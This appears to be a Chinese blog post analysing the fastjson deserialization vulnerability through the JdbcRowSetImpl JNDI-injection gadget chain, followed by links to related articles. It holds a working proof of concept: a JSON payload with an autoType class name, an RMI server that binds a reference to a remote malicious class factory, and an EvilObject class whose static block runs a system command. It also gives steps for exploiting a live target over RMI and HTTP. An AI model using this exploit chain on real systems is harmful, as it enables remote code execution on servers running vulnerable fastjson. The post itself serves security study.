fastjson反序列化-JdbcRowSetImpl利用链

JdbcRowSetImpl利用链

fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs.com)

这里涉及了JNDI与RMI的概念。

其本质为JNDI注入。

附上示例代码

JdbcRowSetImplPoC.java

package org.lain.poc.poclist;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig; /**
* @author: ZH3FENG
* @Date: 下午7:53 2017/12/11
* @Modified By:
* @Description: Gadget com.sun.rowset.JdbcRowSetImpl
*
* setAutoCommit() -> connect() -> InitialContext.lookup()
*/
public class JdbcRowSetImplPoC { public static void testJdbcRowSetImpl(String dataSourceName){ ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(true);// String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
+ "\"dataSourceName\":\"" + dataSourceName + "\","
+ "\"autoCommit\":\"true\"}";
System.out.println(payload); try{
JSONObject.parse(payload,config);
}catch (Exception e){
e.printStackTrace();
}
}
}

RMIServer.java

package org.lain.poc.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; /**
* @author: lanqihe
* @Date: 下午8:01 2017/12/11
* @Modified By:
* @Description: 本地注册一个register,并将恶意的类绑定
*/
public class RMIServer { public static void main(String argv[]) { try {
Registry registry = LocateRegistry.createRegistry(1090); //如果通过rmi无法找到org.lain.poc.jndi.EvilObjectFactory,则尝试从factoryLocation 获取
//因此,本地测试的话,如果factory正确,factoryLocation随便填
//把一个对象绑定到rmi注册表中,这个对象需要继承UnicastRemoteObject,但是Reference没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到rmi注册表,并被远程访问到了
Reference reference = new Reference("EvilObject",
"org.lain.poc.jndi.EvilObjectFactory",
"http://localhost:9999/" ); //客户端通过evil查找,获取到EvilObject
registry.bind("evil", new ReferenceWrapper(reference)); System.out.println("Ready!");
System.out.println("Waiting for connection......"); } catch (Exception e) {
System.out.println("RMIServer: " + e.getMessage());
e.printStackTrace();
}
}
}

EvilObject.java

package org.lain.poc.jndi;

import java.io.IOException;

/**
* @author: ZH3FENG
* @Date: 上午10:18 2017/12/12
* @Modified By:
* @Description: 模拟一个恶意类,静态代码块执行命令
*/
public class EvilObject { public EvilObject(){
System.out.println("Hi!");
}
/**
* 简单的命令执行
*/
static {
try {
Runtime.getRuntime().exec("calc");
}catch (IOException e){
//ignore
}
}
}

我们在JSONObject.parse方法下断点调试

还是调用了parse.Object,步入

调用deserialze方法,进行反序列化

接下来会对JdbcRowSetImpl进行 初始化

在调用完构造函数后,parseObject还会去调用set方法。

根据poc的字段,可以在setDataSourceName与setAutoCommit下断点。

发现确实调用了这两个函数,在setDataSourceName方法中设置了数据源,setAutoCommit方法中,调用了connect方法。

connect方法

lookup方法

decodeObject中就是解析reference,之后调用getOnjectInstance去实例化对象。

调用流程总结:

具体利用方法:

Fastjson反序列化漏洞利用 - 简书 (jianshu.com)

搭建一个rmi服务器和一个http服务器

将exp类部署到http服务器上。

如果目标网站存在fastjson包,且有json格式数据的输入点。则可以构造json数据,达到远程调用http服务器上的类,造成命令执行。

fastjson反序列化-JdbcRowSetImpl利用链的更多相关文章

  1. Fastjson JdbcRowSetImpl利用链学习

    JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...

  2. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

  3. fastjson 反序列化漏洞利用总结

    比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...

  4. fastjson反序列化JdbcRowSetImpl

    Gadget com.sun.rowset.JdbcRowSetImpl setAutoCommit() -> connect() -> InitialContext.lookup() p ...

  5. TemplatesImpl利用链

    FastJson利用链 Fastjson的版本在1.2.22-1.2.24主要有两条链利用TemplatsImpl和JdbcRowSetImpl利用链先来学习TemplatsImpl利用链,这个与前面 ...

  6. Fastjson反序列化漏洞概述

    Fastjson反序列化漏洞概述 ​ 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...

  7. fastjson反序列化漏洞实际案例利用

    fastjson反序列化rce实际案例利用全过程: 存在问题网站:http://***.com/ 在网站上寻找一些安全漏洞的时候,发现一条json数据包 数据包如下: POST /*** HTTP/1 ...

  8. ThinkPHP5.1 反序列化利用链

    笔记里直接复制出来的   1 composer直接获取框架代码   ➜  composer create-project --prefer-dist topthink/think tp5137 ➜  ...

  9. Java基础/利用fastjson反序列化json为对象和对象数组

    利用fastjson反序列化json为对象和对象数组 利用 fastjosn 将 .json文件 反序列化为 java.class 和 java.util.List fastjson 是一个性能很好的 ...

随机推荐

  1. 谈谈redis缓存击穿透和缓存击穿的区别,雪崩效应

    面试经历 在很长的一段时间里,我以为缓存击穿和缓存穿透是一个东西,直到最近去腾讯面试,面试官问我缓存击穿和穿透的区别:我回答它俩是一样的,面试官马上抬起头用他那细长的单眼皮眼睛瞪着我说:"你 ...

  2. Android中TextView和EditView常用属性设置

    Android中TextView和EditView常用属性设置 点击跳转

  3. sublime text build system automatic ctrl/cmd+B自动选择 python2 或 python3

    背景 我同时安装了 python2 和 python3 时,python 指向 python2,python3 才是 python3 默认情况下,在 Sublime 内 Ctrl/Cmd + B 运行 ...

  4. Django——实现最基础的评论功能(只有一级评论)

    我对评论功能的理解: --------(1)数据库建一个评论的表 --------(2)前端建一个提交评论的form表单 --------(3)表单提交评论内容后写入到数据库评论表中 -------- ...

  5. Gitlab - 安装的社区版 Gitlab-ce,解决访问网页报502-Whoops, GitLab is taking too much time to respond的问题

    问题背景 在自己虚拟机(centos7)上装了 Gitlab-ce,就是社区版的 Gitlab,版本是 13.0+ 问题描述 浏览器访问 Gitlab 网站,报 502 问题翻译 502-Whoops ...

  6. C#开源类库SimpleTCP

    目录 简介 使用方法 实现客户端 实现服务端 总结 简介 工作中经常遇到需要实现TCP客户端或服务端的时候,如果每次都自己写会很麻烦且无聊,使用SuperSocket库又太大了.这时候就可以使用Sim ...

  7. Delphi使用Zxing创建二维码

    效果 DelphiZXingQRCode下载地址:https://www.debenu.com/open-source/delphizxingqrcode/ 为了调用方便unit DelphiZXIn ...

  8. uniapp 获取用户手机号

    参考资料: 微信小程序官方文档 uniapp开发微信小程序获取用户手机号 页面增加一个按钮 <button open-type="getPhoneNumber" @getph ...

  9. 前端--jstree--异步加载数据

    利用回调来处理服务器返回的数据, 默认只能解析固定格式的返回值 <div class=""> <div id="div-jstree"> ...

  10. 低代码+RPA+AI,能否让ERP焕发下一春?

    从2004年开始,国内ERP项目的实施便在各大企业热火朝天地展开,2014年,国内大中型企业已经基本完成了ERP系统的普及.ERP已经在大中型企业中成为不可或缺的关键信息系统.企业核心业务的流转与管控 ...